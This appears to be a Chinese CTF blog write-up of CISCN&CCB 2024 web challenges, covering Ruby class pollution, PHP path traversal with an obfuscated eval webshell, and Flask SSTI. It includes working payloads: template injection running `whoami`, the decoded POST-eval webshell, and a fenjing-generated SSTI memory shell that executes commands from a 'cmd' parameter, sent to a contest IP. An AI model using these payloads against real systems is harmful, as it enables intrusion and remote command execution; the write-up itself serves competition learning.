目录

  1. 1. 前言
  2. 2. ezruby(Unsolved)
  3. 3. helloweb(复现)
  4. 4. safeproxy
  5. 5. sxweb1(Unsolved)
  6. 6. easyweb(Unsolved)
  7. 7. sxweb2(Unsolved)
  8. 8. BookManager(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN&CCB2024

2024/12/15 CTF线上赛
  |     |   总文章阅读量:

前言

一觉醒来NISA实力下降一万倍,哈哈两人退役之后我们完蛋了

这b web真是一天比一天难打了,梭哈半天拿不下少解题,其他题回头就被打烂

学web救不了NISA,唉我好菜啊😭

参考:

https://xz.aliyun.com/t/16750

https://xz.aliyun.com/t/16792

image-20241215231840744


ezruby(Unsolved)

# frozen_string_literal: true

require 'json'
require 'sinatra/base'
require 'net/http'


class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end


  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private


  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        if current_obj.is_a?(Hash)
          current_obj[key] = value
        else
          current_obj.instance_variable_set("@#{key}", value)
          current_obj.singleton_class.attr_accessor key
        end
      end
    end
    original
  end
end

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end


class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

class JSONMergerApp < Sinatra::Base
  set  :bind ,  '0.0.0.0'
  set  :port ,  '8888'
  post '/merge' do
    content_type :json
    j_str = request.body.read
    return "try try try"  if j_str.include?("\\") || j_str.include?("h")

    json_input = JSON.parse(j_str, symbolize_names: true)

    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(json_input)

    { status: 'merged' }.to_json
  end

  # GET /launch-curl-command - Activates the first gadget
  get '/launch-curl-command' do
    content_type :json

    # This gadget makes an HTTP request to the URL stored in the User class
    if Person.respond_to?(:url)
      url = Person.url
      response = Net::HTTP.get_response(URI(url))
      { status: 'HTTP request made', url: url }.to_json
    else
      { status: 'Failed to access URL variable' }.to_json
    end
  end
  
  get '/sign_with_subclass_key' do
    content_type :json
    
    signer = KeySigner.new
    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
  end
  
  get '/check-infected-vars' do
    content_type :json

    {
      user_url: Person.url,
      signing_key: KeySigner.signing_key
    }.to_json
  end

  get('/') do
    erb :hello
  end
  run! if app_file == $0
end

https://github.com/HackTricks-wiki/hacktricks/blob/3e784b40f5711208c50e75daa3a5b1a839cb7316/pentesting-web/deserialization/ruby-class-pollution.md

https://book.hacktricks.xyz/cn/pentesting-web/deserialization/ruby-class-pollution

https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

payload:后者是随机找类覆盖的需要多次尝试

{"class":{"superclass":{"url":"Http://malicious.com"}}}
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}

开头这个# frozen_string_literal: true会冻结所有字符串字面量

观察一下改动的地方

set  :bind ,  '0.0.0.0'
set  :port ,  '8888'

  return "try try try"  if j_str.include?("\\") || j_str.include?("h")


  if Person.respond_to?(:url)
    url = Person.url
    response = Net::HTTP.get_response(URI(url))
    { status: 'HTTP request made', url: url }.to_json

那么就是ban了反斜杠和h,同时 curl 无回显

可以用H绕过

然后接下来的思路是在 JSONMergerApp 里找一个能污染的属性来实现类似于静态文件读取或者 getshell

这里尝试污染hello模板

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `whoami` %>"}}}}}}}

想起来有waf,绕不过去

或者设置静态目录

{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"public_folder": "/"}}}}}}

helloweb(复现)

GET /index.php?file=hello.php HTTP/1.1
HTTP/1.1 200 OK
Date: Sun, 15 Dec 2024 02:10:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
tip: &#105;&#110;&#99;&#108;&#117;&#100;&#101;&#46;&#112;&#104;&#112
Content-Length: 2470

<!-- ../hackme.php -->
<!--  ../tips.php  -->


<div class="relocating">
Navigating to: <span class="relocate-location"></span>...
</div>

tip解码出来是 include.php,但是访问不到这个文件

index.php,hello.php,hackme.php,tips.php 均在同一文件夹下,但是上面的 hint 里是../,而我们输入的 ../hackme.php 实际上访问的也是 hackme.php

结合 Navigating ,猜测替换了../为空,有双写绕过,尝试..././hackme.php

能读到

<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

$YwzIst 是 base64_decode,decode后的内容:

$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

复制到本地一步步 echo 分析出来

image-20241215170723989

那么shell就是:

<?php @eval($_POST['cmd_66.99']); ?>

蚁剑连上去,注意密码参数这里是cmd[66.99

index.php

<!-- ../hackme.php -->
<!--  ../tips.php  -->
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');
        exit();
    }
    @$file = $_GET["file"];
    if (isset($_GET['file'])) 
    {
        $file = str_replace('../', '', $_GET['file']);
    
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strlen($file) >= 14) 
        {
            echo "<h1>NAIVE!!!</h1>";
        } else 
            {
                echo "<div style='text-align: center;'>";
                echo "</div>";
                include($file);
            }
}
?>

尝试拿蚁剑插件打disable_function能写,但是连 .antproxy.php 上不去,不知道为什么


结束后试了一下直接在 /tmp 写马 index.php,然后 fpm 起 phpserver 开在 /tmp 下,密码填 /tmp/index.php 的即可绕过 disable_function 且正常连接

接下来找flag,本来以为要提权的,找了半天没提权点

find / -type f -name "flag" 2>/dev/null找到了神人flag路径

image-20241215204605743


safeproxy

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
                
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

一眼打ssti,ban 了响应头

打内存马在响应体里就行

import fenjing
import logging

import requests

logging.basicConfig(level=logging.INFO)

payload = """
[
    app.view_functions
    for app in [ __import__('sys').modules["__main__"].app ]
    for request in [ __import__('sys').modules["__main__"].request ]
    if [
        app.__dict__.update({'_got_first_request':False}),
        app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)
    ]
]
"""


def waf(s):
    blacklist = [
        '\\' , '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n'
    ]
    return all(word not in s for word in blacklist)


full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(
    fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
    print("这个payload不会产生回显")
print(payload)

r = requests.post(
    "http://47.93.212.188:32936",
    data={"code": payload},
    cookies={
    })
print(r.text)

image-20241215100840684


sxweb1(Unsolved)

Apache/2.4.58

直接访问 publishers.php,返回more lines returned. maybe SQL injection Attack


easyweb(Unsolved)

进去403,开扫

有一个上传文件的接口和一个下载文件的接口

下载文件限制后缀为 .txt 和 .zip

上传文件限制后缀为图片且无回显路径


sxweb2(Unsolved)

看起来像是 1 的进阶版,实际上 1 还是0解

进去发现路径直接在 /cgi-bin/index.py 了

单独访问 /cgi-bin/ 得到

/
    html/
        index.html
        apache.jpg
    db/
        pubs.db
    cgi-bin/
        local/
            flag.py
        index.cgi
        authors.py
        index.py
        wget.py
        update_authorsform.py
        updateauthor.py

但是直接访问 /cgi-bin/local/flag.py 会返回403

尝试通过 wget.py 访问 127.0.0.1/cgi-bin/local/flag.py ,返回 Notice: local access is not allowed

/bin/authors.py

image-20241215210603673

/cgi-bin/update_authorsform.py

image-20241215210619778

/cgi-bin/updateauthor.py

image-20241215210707260


BookManager(Unsolved)